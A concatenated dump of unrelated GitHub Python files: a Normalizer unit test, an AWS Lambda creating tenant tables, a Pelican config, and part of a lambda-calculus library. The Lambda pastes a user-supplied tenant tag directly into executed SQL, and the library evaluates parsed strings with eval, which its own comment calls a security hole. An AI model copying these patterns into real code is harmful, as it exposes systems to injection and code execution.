print(pkg)\n","repo_name":"stevelilly/r8issue","sub_path":"r8scan.py","file_name":"r8scan.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"44628803807","text":"import numpy as np\nimport unittest\nfrom sources.wrappers import Normalizer\nimport os\n\n\nclass NormalizerTests(unittest.TestCase):\n def test_fit(self):\n normalizer = Normalizer()\n\n dummy = [[1, 4], [1, 3], [1, 5]]\n X = np.array([dummy])\n normalizer.fit(X)\n\n self.assertEqual(normalizer.mu.tolist(), [1, 4])\n self.assertAlmostEqual(normalizer.sd.tolist(), [0, 0.816496580927726])\n\n def test_normalize(self):\n normalizer = Normalizer()\n\n normalizer.set_mean([1, 2])\n normalizer.set_deviation([4, 1])\n\n dummy = [[1, 2], [2, 10]]\n X = np.array([dummy])\n res = normalizer.preprocess(X)\n\n self.assertEqual(res[0][0], [0, 2])\n self.assertEqual(res[0][1], [0.25, 10])\n\n def test_serrialization(self):\n normalizer = Normalizer()\n normalizer.set_mean([1, 2])\n normalizer.set_deviation([4, 1])\n\n path = './test_mu.json'\n normalizer.to_json(path)\n\n normalizer = Normalizer.from_json(path)\n\n self.assertIsInstance(normalizer.mu, np.ndarray)\n self.assertIsInstance(normalizer.sd, np.ndarray)\n\n self.assertEqual(normalizer.mu.tolist(), [1, 2])\n self.assertEqual(normalizer.sd.tolist(), [4, 1])\n\n if os.path.isfile(path):\n os.remove(path)\n","repo_name":"X-rayLaser/keras-auto-hwr","sub_path":"tests/test_normalization.py","file_name":"test_normalization.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3516008494","text":"import psycopg2\nimport json\nimport boto3\n\n# Initialize the database connection outside the lambda_handler function\nssm = boto3.client('ssm')\ndb_name = ssm.get_parameter(Name='/repair/DBParameter', WithDecryption=False)['Parameter']['Value']\ndb_user = ssm.get_parameter(Name='/repair/UserParameter', WithDecryption=False)['Parameter']['Value']\ndb_password = ssm.get_parameter(Name='/repair/PasswordParameter', WithDecryption=False)['Parameter']['Value']\ndb_host = ssm.get_parameter(Name='/repair/HostParameter', WithDecryption=False)['Parameter']['Value']\ndb_port = ssm.get_parameter(Name='/repair/PortParameter', WithDecryption=False)['Parameter']['Value']\n\nconn = psycopg2.connect(\n dbname=db_name,\n user=db_user,\n password=db_password,\n host=db_host,\n port=db_port\n)\n\ndef fetch_sql_statements_from_s3():\n try:\n s3 = boto3.client('s3')\n response = s3.get_object(Bucket='repair-lneil', Key='ddl.sql')\n sql_statements = response['Body'].read().decode('utf-8')\n return sql_statements\n except Exception as e:\n raise e\n\ndef lambda_handler(event, context):\n user_attributes = event['request']['userAttributes']\n \n if 'custom:tenant_tag' not in user_attributes:\n return {\n 'statusCode': 400,\n 'body': json.dumps('Tenant tag not found in user attributes')\n }\n \n tenant = user_attributes['custom:tenant_tag']\n \n try:\n sql_statements = fetch_sql_statements_from_s3()\n sql_statements = sql_statements.replace('TENANT', tenant)\n except Exception as e:\n return {\n 'statusCode': 400,\n 'body': json.dumps('Error fetching or replacing SQL statements: ' + str(e))\n }\n \n try:\n print(\"connecting...\")\n cursor = conn.cursor()\n cursor.execute(sql_statements)\n conn.commit()\n cursor.close()\n\n return {\n 'statusCode': 200,\n 'body': json.dumps('Tables created successfully for tenant: ' + tenant)\n }\n\n except Exception as e:\n return {\n 'statusCode': 500,\n 'body': json.dumps('Error creating tables: ' + str(e))\n }\n finally:\n conn.close() # Close the database connection in the finally block","repo_name":"ThugPigeon653/repairshop","sub_path":"scripts/python/define-tables.py","file_name":"define-tables.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15445485987","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = u'Alexandros Kosiaris'\nSITENAME = u'JAB: Just Another Blog'\nSITEURL = 'http://blog.uname.gr'\n\nPATH = 'content'\n\nTIMEZONE = 'UTC'\nTHEME = 'themes/twitchy'\n\nDEFAULT_LANG = u'en'\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\n\n# Blogroll\nLINKS = (('Pelican', 'http://getpelican.com/'),)\n\n# Social widget\nSOCIAL = (\n ('github', 'http://github.com/akosiaris'),\n ('twitter', 'http://twitter.com/kosiaris'),\n )\n\nDEFAULT_PAGINATION = 10\n\nSTATIC_PATHS = [ 'images', 'extra/CNAME', 'extra/googlebf3ef559c8fe5d4e',\n]\nEXTRA_PATH_METADATA = {\n 'extra/CNAME': {'path': 'CNAME'},\n 'extra/googlebf3ef559c8fe5d4e': { 'path': 'googlebf3ef559c8fe5d4e.html'},\n}\nLOCALE='C'\n\n# Uncomment following line if you want document-relative URLs when developing\n# It get's overriden anyway by publishconf.py\nRELATIVE_URLS = True\n","repo_name":"akosiaris/akosiaris.github.io","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40118435075","text":"import sys, re, logging, random, functools, inspect\nfrom numbers import Number\n\nimport lamb\nfrom lamb import types, parsing, display, utils\nfrom lamb.utils import ensuremath\nfrom lamb.types import TypeMismatch, type_e, type_t, type_n\nfrom lamb.types import type_property, type_transitive, BasicType, FunType\n\n############### Basic stuff\n\nglobal logger\ndef setup_logger():\n \"\"\"Set up a module-level logger called `logger` for use across `lamb`\n modules.\"\"\"\n global logger\n logger = logging.getLogger(\"lamb\")\n logger.handlers = list() # otherwise, will get double output on reload\n # (since this just keeps adding handlers)\n logger.setLevel(logging.INFO)\n logger.propagate = False\n # note that basicConfig does _not_ work for interactive ipython sessions,\n # including notebook.\n infoch = logging.StreamHandler(sys.stdout)\n infoch.setFormatter(logging.Formatter(\n '%(levelname)s (%(module)s): %(message)s'))\n def info_filter(record):\n if record.levelno == logging.INFO:\n return 1\n else:\n return 0\n infoch.addFilter(info_filter)\n infoch.setLevel(logging.INFO)\n\n errch = logging.StreamHandler(sys.stderr)\n #ch.setLevel(logging.INFO)\n errch.setLevel(logging.WARNING)\n errch.setFormatter(logging.Formatter(\n '%(levelname)s (%(module)s): %(message)s'))\n logger.addHandler(errch)\n logger.addHandler(infoch)\n\nsetup_logger()\n\n\nglobal _constants_use_custom, _type_system\n_constants_use_custom = False\n\ndef constants_use_custom(v):\n \"\"\"Set whether constants use custom display routines.\"\"\"\n global _constants_use_custom\n _constants_use_custom = v\n\n_type_system = types.poly_system\n\n# TODO: could consider associating TypedExpr with a type system rather than\n# using the global variable. advantages: generality. Disadvantages: may be a\n# little pointless in practice?\ndef set_type_system(ts):\n \"\"\"Sets the current type system for the metalanguage. This is a global\n setting.\"\"\"\n global _type_system\n _type_system = ts\n\ndef get_type_system():\n \"\"\"Gets the current (global) type system for the metalanguage.\"\"\"\n return _type_system\n\ndef ts_unify(a, b):\n \"\"\"Calls the current type system's `unify` function on types `a` and `b`.\n This returns a unified type, or `None` if the two can't be unified.\"\"\"\n ts = get_type_system()\n return ts.unify(a, b)\n\nglobal unify\nunify = ts_unify # remove this?\n\ndef ts_compatible(a, b):\n \"\"\"Returns `True` or `False` depending on whether `a` and `b` are\n compatible types.\"\"\"\n ts = get_type_system()\n return ts.unify(a,b) is not None\n\ndef tp(s):\n \"\"\"Convenience wrapper for the current type system's type parser.\"\"\"\n ts = get_type_system()\n result = ts.type_parser(s)\n return result\n\ndef let_wrapper(s):\n result = derived(s.compact_type_vars(), s, \"Let substitution\")\n result.let = True\n return result\n\ndef te(s, let=True, assignment=None):\n \"\"\"Convenience wrapper for `lang.TypedExpr.factory`.\"\"\"\n result = TypedExpr.factory(s, assignment=assignment)\n if let and isinstance(result, TypedExpr):\n result = let_wrapper(result)\n return result\n\ndef term(s, typ=None, assignment=None):\n \"\"\"Convenience wrapper for building terms.\n `s`: the term's name.\n `typ`: the term's type, if specified.\"\"\"\n return TypedTerm.term_factory(s, typ=typ, assignment=assignment)\n\ndef typed_expr(s):\n # class method replaces this. Call this instead of factory, which has a \n # slightly different semantics -- factory will make a copy if handed a\n # TypedExpr.\n return TypedExpr.ensure_typed_expr(s)\n\ndef check_type(item, typ, raise_tm=True, msg=None):\n ts = get_type_system()\n if not ts.eq_check(item.content.type, typ):\n if raise_tm:\n raise types.TypeMismatch(item, typ, msg)\n else:\n return None\n else:\n return item\n\n\ndef default_variable_type(s):\n #TODO something better\n return type_e\n\ndef default_type(s):\n if isinstance(s, TypedExpr):\n return s.type\n elif isinstance(s, Number):\n return type_n\n elif isinstance(s, str):\n t = utils.num_or_str(s)\n if isinstance(t, Number):\n return type_n\n elif is_var_symbol(t):\n return default_variable_type(s)\n else:\n #TODO, better default\n return type_t\n else:\n # TODO: more default special cases? predicates?\n raise NotImplementedError\n\nclass MiniOp(object):\n \"\"\"This is a class to pass to a TypeMismatch so that the operator is\n displayed nicely.\"\"\"\n def __init__(self, op_uni, op_latex, typ=None):\n if typ != None:\n self.type = typ\n self.op_uni = op_uni\n self.op_latex = op_latex\n\n def __repr__(self):\n return self.op_uni\n\n def __str__(self):\n return repr(self)\n\n def latex_str(self):\n return self.op_latex\n\n def short_str_latex(self):\n return self.latex_str()\n\n def latex_str_long(self):\n return latex_str(self)\n\n def _repr_latex_(self):\n return self.latex_str()\n\n @classmethod\n def from_op(cls, op):\n return MiniOp(op.op_name, op.op_name_latex)\n\n\n\nclass OperatorRegistry(object):\n class OpDesc(object):\n def __init__(self, _cls, *targs):\n self.name = _cls.canonical_name\n self.cls = _cls\n self.arity = len(targs)\n self.targs = targs\n\n def __hash__(self):\n # will prevent multiple overloads at the same arity using the\n # same class...\n return hash(self.name) ^ hash(self.cls.__name__) ^ hash(self.arity)\n\n def __eq__(self, other):\n return (self.name == other.name\n and self.cls.__name__ == other.cls.__name__\n and self.arity == other.arity\n and self.targs == other.targs)\n\n def get_names(self):\n # maybe include unicode?\n return [self.name] + list(self.cls.secondary_names)\n\n def has_blank_types(self):\n for t in self.targs:\n if t is None:\n return True\n return False\n\n def check_viable(self, *args):\n if self.arity != len(args):\n return False\n # None means don't check this arg place.\n # If the relevant types are not in the current type system, this\n # will fail.\n for i in range(len(args)):\n if (self.targs[i] is not None\n and not ts_compatible(self.targs[i], args[i].type)):\n return False\n return True\n\n def __init__(self):\n self.clear()\n\n def clear(self):\n self.ops = dict()\n self.arities = dict()\n self.binding_ops = dict()\n self.canonicalize_binding_ops = dict()\n self.unparsed_binding_ops = set()\n\n def add_operator(self, _cls, *targs):\n desc = self.OpDesc(_cls, *targs)\n for name in desc.get_names():\n # use dicts and not sets for the ordering\n if not name in self.ops:\n self.ops[name] = dict()\n self.ops[name][desc] = True\n if not desc.arity in self.arities:\n self.arities[desc.arity] = dict()\n self.arities[desc.arity][desc] = True\n\n def get_descs(self, op):\n return list(self.ops[op].keys())\n\n def expr_factory(self, op, *args):\n \"\"\"Given some operator/relation symbol with arguments, construct an\n appropriate TypedExpr subclass for that operator.\"\"\"\n\n if not op in self.ops:\n raise parsing.ParseError(\"Unknown operator symbol '%s'\" % op)\n\n matches = [o for o in self.ops[op].keys() if o.arity == len(args)]\n if not len(matches):\n raise parsing.ParseError(\"No %d-ary operator symbol '%s'\" % (len(args), op))\n\n matches = [o for o in matches if o.check_viable(*args)]\n\n # hacky: let any operators with specified types knock out any operators\n # with None types. This could be made a lot more elegant, but the\n # immediate goal here is to handle the equality case for type t cleanly\n if len(matches) > 1:\n matches = [o for o in matches if not o.has_blank_types()]\n\n if not len(matches):\n raise parsing.ParseError(\n \"No viable %d-ary operator symbol '%s' for args %s\"\n % (len(args), op, repr(args)))\n\n # this shouldn't come up for the built-in libraries, but should this\n # be made more informative for user cases?\n if len(matches) > 1:\n raise parsing.ParseError(\n \"Ambiguous %d-ary operator symbol '%s' for args %s\"\n % (len(args), op, repr(args)))\n\n return matches[0].cls(*args)\n\n def add_binding_op(self, op):\n \"\"\"Register an operator to be parsed.\"\"\"\n if op.canonical_name is None:\n self.unparsed_binding_ops.add(op)\n else:\n # no binding operator overloading\n if op.canonical_name in self.binding_ops:\n logger.warning(\n \"Overriding existing binding operator '%s' in registry\"\n % op.canonical_name)\n self.remove_binding_op(op)\n self.binding_ops[op.canonical_name] = op\n for alias in op.secondary_names:\n self.canonicalize_binding_ops[alias] = op.canonical_name\n BindingOp.compile_ops_re()\n\n def remove_binding_op(self, op):\n \"\"\"Remove an operator from the parsing registry.\"\"\"\n for alias in self.binding_ops[op.canonical_name].secondary_names:\n del self.canonicalize_binding_ops[alias]\n if op.canonical_name is None:\n self.unparsed_binding_ops.remove(op)\n else:\n del self.binding_ops[op.canonical_name]\n BindingOp.compile_ops_re()\n\n\nglobal registry\nregistry = OperatorRegistry()\n\ndef op_expr_factory(op, *args):\n global registry\n return registry.expr_factory(op, *args)\n\n\n############### Type unification-related code\n\nclass TypeEnv(object):\n def __init__(self, var_mapping=None, type_mapping=None):\n self.type_var_set = set()\n if type_mapping is None:\n self.type_mapping = dict()\n else:\n self.type_mapping = type_mapping\n if var_mapping is None:\n self.var_mapping = dict()\n else:\n self.var_mapping = var_mapping\n self.update_var_set()\n\n def _repr_html_(self):\n s = \"\"\n s += (\"\" %\n utils.dict_latex_repr(self.var_mapping))\n s += (\"\" %\n utils.dict_latex_repr(self.type_mapping))\n s += (\"\" %\n utils.set_latex_repr(self.type_var_set))\n s += \"
    Term mappings:   %s
    Type mappings:   %s
    Type variables:   %s
    \"\n return s\n\n def update_var_set(self):\n s = types.vars_in_env(self.var_mapping)\n s = s | set(self.type_mapping.keys())\n for m in self.type_mapping:\n s = s | self.type_mapping[m].bound_type_vars()\n self.type_var_set = s\n\n def term_by_name(self, vname):\n if vname in self.var_mapping:\n return TypedTerm(vname, self.var_mapping[vname],\n defer_type_env=True)\n else:\n return None\n\n def add_var_mapping(self, vname, typ):\n result = self.try_add_var_mapping(vname, typ)\n if result is None:\n raise TypeMismatch(self.term_by_name(vname), typ,\n \"Failed to unify types across distinct instances of term\")\n return result\n\n def try_add_var_mapping(self, vname, typ):\n ts = get_type_system()\n if vname in self.var_mapping:\n principal = self.try_unify(self.var_mapping[vname], typ,\n update_mapping=True)\n if principal is None:\n return None\n \n assert principal is not None\n self.var_mapping[vname] = principal\n self.update_type_vars()\n else:\n assert typ is not None\n self.var_mapping[vname] = typ\n principal = typ\n self.add_type_to_var_set(principal)\n return principal\n\n def try_unify(self, t1, t2, update_mapping=False):\n ts = get_type_system()\n result = ts.unify_details(t1, t2, assignment=self.type_mapping)\n if result is None:\n return None\n else:\n if update_mapping:\n self.type_mapping = result.mapping\n self.update_var_set()\n return result.principal\n\n def add_type_to_var_set(self, typ):\n self.type_var_set = self.type_var_set | typ.bound_type_vars()\n\n def update_type_vars(self):\n for k in self.var_mapping:\n # note that the following is not generally safe, but here we are\n # working with TypedTerms that have no TypeEnv\n new_type = self.var_mapping[k].sub_type_vars(self.type_mapping)\n self.var_mapping[k] = new_type\n\n def try_add_type_mapping(self, type_var, typ, defer=False):\n if isinstance(typ, types.VariableType):\n if typ in self.type_var_set or type_var in self.type_var_set:\n principal = self.try_unify(type_var, typ, update_mapping=True)\n else:\n principal = type_var\n self.type_mapping[type_var] = typ\n self.type_var_set = self.type_var_set | {type_var, typ} \n else:\n principal = self.try_unify(type_var, typ, update_mapping=True)\n if not defer:\n self.update_type_vars()\n return principal\n\n def add_type_mapping(self, type_var, typ, defer=False):\n principal = self.try_add_type_mapping(type_var, typ, defer=defer)\n if principal is None:\n raise TypeMismatch(self.type_mapping[type_var], typ,\n \"Failed to unify type variable %s across contexts\" % type_var)\n return principal\n \n\n def merge(self, tenv):\n for v in tenv.type_mapping:\n self.add_type_mapping(v, tenv.type_mapping[v], defer=True)\n self.update_type_vars()\n for v in tenv.var_mapping:\n self.add_var_mapping(v, tenv.var_mapping[v])\n self.type_var_set |= tenv.type_var_set\n return self\n\n def intersect_merge(self, tenv):\n for v in tenv.type_mapping:\n if (v in self.type_var_set\n or len(tenv.type_mapping[v].bound_type_vars()\n & self.type_var_set) > 0):\n self.add_type_mapping(v, tenv.type_mapping[v], defer=True)\n self.update_type_vars()\n for v in tenv.var_mapping:\n self.add_var_mapping(v, tenv.var_mapping[v])\n return self\n\n def copy(self):\n env = TypeEnv(self.var_mapping.copy(), self.type_mapping.copy())\n env.type_var_set = self.type_var_set.copy()\n return env\n\n def __repr__(self):\n return (\"[TypeEnv: Variables: \"\n + repr(self.var_mapping)\n + \", Type mapping: \"\n + repr(self.type_mapping)\n + \", Type variables: \"\n + repr(self.type_var_set)\n + \"]\")\n\ndef merge_type_envs(env1, env2, target=None):\n \"\"\"Merge two type environments. A type environment is simply an assignment,\n where the mappings to terms are used to define types. Other mappings are\n ignored.\n\n If `target` is set, it specifies a set of variable names to specifically\n target; anything not in it is ignored.\n\n If `target` is None, all mappings are merged.\"\"\"\n ts = get_type_system()\n result = dict()\n for k1 in env1:\n if target and not k1 in target:\n continue\n if (not env1[k1].term()):\n continue\n if k1 in env2:\n unify = ts.unify(env1[k1].type, env2[k1].type)\n if unify is None:\n raise TypeMismatch(env1[k1], env2[k1],\n \"Failed to unify types across distinct instances of term\")\n result[k1] = env1[k1].try_adjust_type(unify)\n else:\n result[k1] = env1[k1]\n for k2 in env2:\n if target and not k2 in target:\n continue\n if not env2[k2].term():\n continue\n if k2 not in env1:\n result[k2] = env2[k2]\n return result\n\ndef merge_tes(te1, te2, symmetric=True):\n \"\"\"Produce a TypedExpr that is the result of 'merging' `te1` and `te2`.\n\n TypedExprs can be merged only if their types can match. This has two types\n of behaviors:\n\n * Symmetric: if `te1` is a term and `te2` is not a term, return te2 coerced\n to the principal type; v.v for `te2` and `te1. Otherwise, if they are\n equal (using `==`, which checks structural/string identity) return the\n result at the principle type.\n * Non-symmetric: if `te1` is a term, return `te2` at the principal type. \n Otherwise, return something (at the principal type) only if `te1` and\n `te2` are equal.\n The failure cases for both modes will raise a TypeMismatch.\n \"\"\"\n ts = get_type_system()\n principal = ts.unify(te1.type, te2.type)\n # TODO: these error messages are somewhat cryptic\n if principal is None:\n raise TypeMismatch(te1, te2,\n \"Failed to merge typed expressions (incompatible types)\")\n te1_new = te1.try_adjust_type(principal)\n te2_new = te2.try_adjust_type(principal)\n if te1_new is None or te2_new is None:\n raise TypeMismatch(te1, te2,\n \"Failed to merge typed expressions (type adjustment failed)\")\n if te1_new.term():\n if symmetric and te2_new.term() and not (te1_new == te2_new):\n raise TypeMismatch(te1, te2,\n \"Failed to merge typed expressions; result is not equal\")\n return te2_new\n elif symmetric and te2_new.term():\n return te1_new\n else:\n if not (te1_new == te2_new):\n raise TypeMismatch(te1, te2,\n \"Failed to merge typed expressions; result is not equal\")\n return te1_new\n\n\n############### Core TypedExpr objects\n\nglobal _parser_assignment\n_parser_assignment = None\n\nclass TypedExpr(object):\n \"\"\"Basic class for a typed n-ary logical expression in a formal language.\n This class should generally be constructed using the factory method, not the\n constructor.\n\n Three key fields:\n * type: an object that implements the type interface.\n * op: an object representing the operator in the expression.\n * args: _n_ args representing the arguments (if any) to the operator.\n\n The op field:\n * may be a string representing the operator symbol. This case mostly\n covers special hard-coded logical/numeric operators. May be used in\n subclasses such as LFun. NOTE: for hard-coded operators this is now\n deprecated, call the factory function.\n * May be itself a TypedExpr. (For example, an LFun with the right type.)\n If so, there must be exactly one argument of the correct type.\n * May be a term name, treating this case as either a 0-ary operator or an\n unsaturated term. Note that right now, this _only_ occurs in\n subclasses. (TypedTerm)\n\n originally based on logic.Expr (from aima python), now long diverged.\n \"\"\"\n def __init__(self, op, *args, defer=False):\n \"\"\"\n Constructor for TypedExpr class. This should generally not be called\n directly, rather, the factory function should be used. In fact,\n TypedExpr is not currently ever directly instantiated.\n\n This is intended only for calls from subclass `__init__`. It (at this\n stage) amounts to a convenience function that sets some common\n variables -- a subclass that does not call this should ensure that\n these are all set. self.args must be a list (not a tuple).\n\n WARNING: this function does not set self.type, which _must_ be set.\n It does not perform any type-checking.\n\n `defer`: annotate with this if the TypedExpr does not conform to type\n constraints. (Useful for derivational histories or error reports.)\n \"\"\"\n self.type_guessed = False\n self.derivation = None\n self.defer = defer\n self.let = False\n\n if (len(args) == 0):\n args = list()\n\n self.op = op\n self.args = list(args)\n\n def _type_cache_get(self, t):\n try:\n cache = self._type_adjust_cache\n except AttributeError:\n self._type_adjust_cache = dict()\n return False\n if t in cache:\n return cache[t] #.deep_copy()\n else:\n return False\n\n def _type_cache_set(self, t, result):\n try:\n cache = self._type_adjust_cache\n except AttributeError:\n self._type_adjust_cache = dict()\n cache = self._type_adjust_cache\n cache[t] = result\n\n\n def try_adjust_type_caching(self, new_type, derivation_reason=None,\n assignment=None, let_step=None):\n cached = self._type_cache_get(new_type)\n if cached is not False:\n return cached\n if let_step is not None:\n result = let_step.try_adjust_type(new_type,\n derivation_reason=derivation_reason, assignment=assignment)\n # TODO: freshen variables again here?\n else:\n result = self.try_adjust_type(new_type,\n derivation_reason=derivation_reason, assignment=assignment)\n self._type_cache_set(new_type, result)\n return result\n\n def try_adjust_type(self, new_type, derivation_reason=None,\n assignment=None):\n \"\"\"Attempts to adjust the type of `self` to be compatible with\n `new_type`.\n\n If the types already match, it return self.\n If it succeeds, it returns a modified _copy_ of self. \n If unify suggests a strengthened type, but it can't get there, it\n returns self and prints a warning.\n If it fails completely, it returns None.\"\"\"\n ts = get_type_system()\n env = self.get_type_env().copy()\n \n unify_target = env.try_unify(self.type, new_type, update_mapping=True)\n if unify_target is None:\n return None\n\n if self.type == unify_target:\n self._type_cache_set(self.type, self) \n return self\n else:\n assert not isinstance(self.op, TypedExpr)\n if derivation_reason is None:\n derivation_reason = \"Type adjustment\"\n if self.term():\n new_term = self.copy()\n principal = env.try_add_var_mapping(new_term.op, new_type)\n if principal is None:\n return None\n new_term._type_env = env\n new_term.type = principal\n if assignment is not None and new_term.op in assignment:\n assignment[new_term.op] = new_term\n return derived(new_term, self, derivation_reason)\n else:\n # use the subclass' type adjustment function\n result = self.try_adjust_type_local(unify_target,\n derivation_reason, assignment, env)\n if result is not None:\n result = result.under_type_assignment(env.type_mapping)\n if result is not None:\n result._type_env = env\n if result is None:\n logger.warning(\n \"In type adjustment, unify suggested a strengthened arg\"\n \" type, but could not accommodate: %s -> %s\"\n % (self.type, unify_target))\n return self\n else:\n return derived(result, self, derivation_reason)\n\n def try_adjust_type_local(self, unified_type, derivation_reason,\n assignment, env):\n # write an error instead of throwing an exception -- this is easier for\n # the user to handle atm\n logger.error(\"Unimplemented `try_adjust_type_local` in class '%s'\"\n % type(self).__name__)\n return None\n\n def get_type_env(self, force_recalc=False):\n if force_recalc:\n self._type_env = self.calc_type_env(recalculate=force_recalc)\n try:\n return self._type_env\n except AttributeError:\n self._type_env = self.calc_type_env(recalculate=force_recalc)\n return self._type_env\n\n def calc_type_env(self, recalculate=False):\n env = TypeEnv()\n for part in self:\n if isinstance(part, TypedExpr):\n env.merge(part.get_type_env(force_recalc=recalculate))\n return env\n\n def _unsafe_subst(self, i, s):\n self.args[i] = s\n return self\n\n def subst(self, i, s, assignment=None):\n s = TypedExpr.ensure_typed_expr(s)\n parts = list(self.args)\n old = parts[i]\n if not isinstance(old, TypedExpr):\n raise ValueError(\"Cannot perform substitution on non-TypedExpr %s\"\n % (old))\n ts = get_type_system()\n # check: is the type of the substitution compatible with the type of\n # what it is replacing?\n unified = ts.unify(s.type, old.type) # order matters: prioritize type\n # variables from the substitution\n if unified is None:\n raise TypeMismatch(s, old, \"Substitution for element %s of '%s'\"\n % (i, repr(self)))\n if unified != s.type:\n # compatible but unify suggested a new type for the substitution. \n # Try adjusting the type of the expression.\n s_a = s.try_adjust_type(unified)\n if s_a is None:\n raise TypeMismatch(s, old, \"Substitution for element %s of '%s'\"\n % (i, repr(self)))\n s = s_a\n parts[i] = s\n result = self.copy_local(*parts)\n return result\n\n @classmethod\n def parse(cls, s, assignment=None, locals=None):\n \"\"\"Attempt to parse a string `s` into a TypedExpr\n `assignment`: a variable assignment to use when parsing.\n `locals`: a dict to use as the local variables when parsing.\n \"\"\"\n if assignment is None:\n assignment = dict()\n ts = get_type_system()\n (struc, i) = parsing.parse_paren_str(s, 0, ts)\n return cls.try_parse_paren_struc_r(struc, assignment=assignment,\n locals=locals)\n\n _parsing_locals = dict()\n\n @classmethod\n def add_local(cls, l, value):\n cls._parsing_locals[l] = value\n\n @classmethod\n def del_local(cls, l):\n if l == \"TypedExpr\" or l == \"TypedTerm\":\n raise Exception(\"Cannot delete parsing local '%s'\" % l)\n del cls._parsing_locals[l]\n\n @classmethod\n def try_parse_flattened(cls, s, assignment=None, locals=None):\n \"\"\"Attempt to parse a flat, simplified string into a TypedExpr. Binding\n expressions should be already handled.\n \n assignment: a variable assignment to use when parsing.\n locals: a dict to use as the local variables when parsing.\n\n Do some regular expression magic to expand metalanguage terms into\n constructor/factory calls, and then call eval.\n\n The gist of the magic (see expand_terms):\n * replace some special cases with less reasonable operator names.\n (This is based on AIMA logic.py)\n * find things that look like term names, and surround them with calls\n to the term factory function.\n\n Certain special case results are wrapped in TypedExprs, e.g. sets and\n tuples.\n \"\"\"\n if locals is None:\n locals = dict()\n # Replace the alternative spellings of operators with canonical\n # spellings\n # TODO: derive from operator registry\n to_eval = s.replace('==>', '>>').replace('<==', '<<').replace('<=>', '%')\n to_eval = to_eval.replace('=/=', '^').replace('==', '%').replace('=>', '>>')\n lcopy = locals.copy()\n lcopy.update(cls._parsing_locals)\n to_eval = TypedExpr.expand_terms(to_eval, assignment=assignment,\n ignore=lcopy.keys())\n # Now eval the string. (A security hole; do not use with an adversary.)\n lcopy.update({'assignment': assignment, 'type_e': type_e})\n\n # cannot figure out a better way of doing this short of actually parsing\n # TODO: reimplement as a real parser, don't rely on `eval`\n global _parser_assignment\n _parser_assignment = assignment # not remotely thread-safe\n try:\n result = eval(to_eval, dict(), lcopy)\n except SyntaxError as e:\n raise parsing.ParseError(\"Failed to parse expression\", s=s, e=e)\n # other exceptions just get raised directly -- what comes up in\n # practice?\n _parser_assignment = None\n from .sets import ListedSet\n if isinstance(result, tuple):\n return Tuple(result)\n elif isinstance(result, set):\n return ListedSet(result)\n elif isinstance(result, dict) and len(result) == 0:\n # hack: empty dict is treated as empty set, so that \"{}\" makes sense\n return ListedSet(set())\n elif isinstance(result, TypedExpr):\n return result\n else:\n logger.warning(\"parse_flattened returning non-TypedExpr\")\n return result\n\n @classmethod\n def try_parse_binding_struc(cls, s, assignment=None, locals=None,\n vprefix=\"ilnb\"):\n \"\"\"Try to parse `s` as a binding operator expression. Will return a\n subclass of BindingOp, None, or raise a `parsing.ParseError`.\n\n the variable on the exception `met_preconditions` is used to attempt to\n figure out whether this was a plausible attempt at a binding operator\n expression, so as to get the error message right.\"\"\"\n try:\n return BindingOp.try_parse_binding_struc_r(s, assignment=assignment, locals=locals, vprefix=vprefix)\n except parsing.ParseError as e:\n if not e.met_preconditions:\n return None\n else:\n raise e\n\n @classmethod\n def try_parse_paren_struc_r(cls, struc, assignment=None, locals=None,\n vprefix=\"ilnb\"):\n \"\"\"Recursively try to parse a semi-AST with parenthetical structures\n matched.\"\"\"\n expr = cls.try_parse_binding_struc(struc, assignment=assignment,\n locals=locals, vprefix=vprefix)\n if expr is not None:\n return expr\n # struc is not primarily a binding expression\n s = \"\"\n h = dict()\n vnum = 1\n for sub in struc:\n if isinstance(sub, str):\n s += sub \n else:\n sub_expr = cls.try_parse_paren_struc_r(sub,\n assignment=assignment, locals=locals, vprefix=vprefix)\n var = vprefix + str(vnum)\n s += \"(\" + var + \")\"\n vnum += 1\n h[var] = sub_expr\n expr = cls.try_parse_flattened(s, assignment=assignment, locals=h)\n return expr\n\n\n @classmethod\n def try_parse_type(cls, s, onto=None):\n \"\"\"Attempt to get a type name out of s.\n\n Assumes s is already stripped.\"\"\"\n\n ts = get_type_system()\n result = ts.type_parser(s)\n return result\n\n @classmethod\n def try_parse_term_sequence(cls, s, lower_bound=1, upper_bound=None,\n assignment=None):\n s = s.strip()\n if len(s) == 0:\n sequence = list()\n i = 0\n else:\n v, typ, i = cls.parse_term(s, i=0, return_obj=False,\n assignment=assignment)\n sequence = [(v, typ)]\n if i < len(s):\n i = parsing.consume_whitespace(s, i)\n while i < len(s):\n i = parsing.consume_char(s, i, \",\",\n \"expected comma in variable sequence\")\n i = parsing.consume_whitespace(s, i)\n v, typ, i = cls.parse_term(s, i=i, return_obj=False,\n assignment=assignment)\n if v is None:\n raise parsing.ParseError(\n \"Failed to find term following comma in variable sequence\",\n s=s, i=i, met_preconditions=True)\n sequence.append((v, typ))\n if lower_bound and len(sequence) < lower_bound:\n raise parsing.ParseError(\n (\"Too few variables (%i < %i) in variable sequence\"\n % (len(sequence), lower_bound)),\n s=s, i=i, met_preconditions=True)\n if upper_bound and len(sequence) > upper_bound:\n raise parsing.ParseError(\n (\"Too many variables (%i > %i) in variable sequence\"\n % (len(sequence), upper_bound)),\n s=s, i=i, met_preconditions=True)\n return sequence\n\n @classmethod\n def try_parse_typed_term(cls, s, assignment=None, strict=False):\n \"\"\"Try to parse string 's' as a typed term.\n assignment: a variable assignment to parse s with.\n\n Format: n_t\n * 'n': a term name. \n - initial numeric: term is a number.\n - initial alphabetic: term is a variable or constant. (Variable:\n lowercase initial.)\n * 't': a type, optional. If absent, will either get it from\n assignment, or return None as the 2nd element.\n\n Returns a tuple of a variable name, and a type. If you want a\n TypedTerm, call one of the factory functions.\n \n Raises: TypeMismatch if the assignment supplies a 